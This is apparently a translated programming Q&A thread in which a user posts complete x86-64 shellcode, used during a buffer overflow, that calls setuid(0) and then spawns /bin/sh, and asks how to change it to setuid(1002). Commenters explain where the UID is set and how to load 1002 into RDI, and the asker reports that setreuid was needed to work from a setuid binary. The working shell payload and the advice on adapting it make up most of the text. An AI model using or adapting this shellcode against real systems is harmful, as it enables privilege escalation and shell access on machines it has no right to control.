【发布时间】:2020-05-16 08:19:02
【问题描述】:
我正在使用here 找到的以下汇编代码来 setuid(0) 并在缓冲区溢出期间获取 shell
xor rdi,rdi
mov al,0x69
syscall
xor rdx,rdx
movabs rbx,0x68732f6e69622fff
shr rbx,0x8
push rbx
mov rdi,rsp
xor rax,rax
push rax
push rdi
mov rsi,rsp
mov al,0x3b
syscall
push 0x1
pop rdi
push 0x3c
pop rax
syscall
我需要将其修改为 setuid(1002) 而不是 setuid(0)
我不明白 setuid 在这个汇编代码中的位置
【问题讨论】:
-
xor rdi,rdi mov al,0x69 syscall是设置UID的部分。 syscall 0x69 (105) 采用 RDI 中的 UID。您需要将 1002 放入 RDI。xor rdi, rdi将 rdi 设置为 0。 -
最简单的事情是在
xor rdi, rdi之后将 RDI 归零...将 1002 与mov di, 1002放在低 16 位中 -
@MichaelPetch 我不知道为什么结果是
0xffffffffffffffffinrax -
0xffffffffffffffff 为 -1,即 EPERM(不允许操作)。您是以普通用户还是 root 帐户运行代码?如果您不使用 root 权限运行,它将失败。
-
谢谢!我在具有 setuid 位的二进制文件中运行。但不是作为根。我终于发现我必须使用 setreuid 而不是 setuid
标签: assembly x86-64 buffer-overflow shellcode setuid